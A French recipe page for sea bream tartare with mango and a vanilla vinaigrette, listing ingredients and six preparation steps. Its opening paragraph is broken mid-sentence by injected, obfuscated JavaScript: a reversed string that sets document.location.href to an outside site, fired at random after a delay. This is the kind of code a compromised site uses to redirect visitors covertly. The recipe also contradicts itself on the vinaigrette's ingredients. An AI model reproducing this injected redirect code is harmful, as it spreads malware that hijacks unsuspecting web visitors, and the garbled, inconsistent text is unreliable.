Tartare de daurade vinaigrette vanillée
2018-01-03- Cuisine : Poissons
- Thématique : Végétarien
- Niveau : Difficile
Ébouillantez la tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomate quelques secondes, pelez, épépinez, et coupez-la en petits dés. Lavez, séchez, coupez en petits morceaux la daurade, déposez dans un récipient, filmez et réservez au réfrigérateur.
Préparez la vinaigrette.
Ingrédients
- Pour 4 personnes
- 300 g de daurade sans peau ni arêtes
- 1 mangue
- 1 tomate
- 1 échalote hachée
- 1 cuillère à soupe de coriandre ciselée
- 1 salade roquette
- 4 gousses de vanille
- Pour la vinaigrette :
- 1 cuillère à café de moutarde
- 1 cuillère à soupe de vinaigre de cidre
- 1 gousse de vanille
- 2 cuillères à soupe d'huile d'arachide
- Sel - poivre du moulin
Préparation de la recette
Etape 1
Ébouillantez la tomate quelques secondes, pelez, épépinez, et coupez-la en petits dés. Lavez, séchez, coupez en petits morceaux la daurade, déposez dans un récipient, filmez et réservez au réfrigérateur.
Etape 2
Préparez la vinaigrette.
Etape 3
Fendez les gousses de vanille dans le sens de la longueur, raclez l’intérieur avec le pointe d'un couteau, déposez les graines dans un saladier avec le jus de citron et d’huile d’olive, salez, poivrez.
Etape 4
Ajoutez les morceaux de daurade, avec le mangue, la tomate, l’échalote, et la coriandre. Arrosez avec la moitié de la vinaigrette, salez, poivrez.
Etape 5
Remplissez 4 ramequins chemisés de film alimentaire. Placez au frais pendant 10 minutes. A ce moment démoulez dans des assiettes, recouvrez de quelques feuilles de salade.
Etape 6
Arrosez de vinaigrette. Décorez avec une gousse de vanille une ou deux tomates cerises. Servez avec des tartines de pain grillées.
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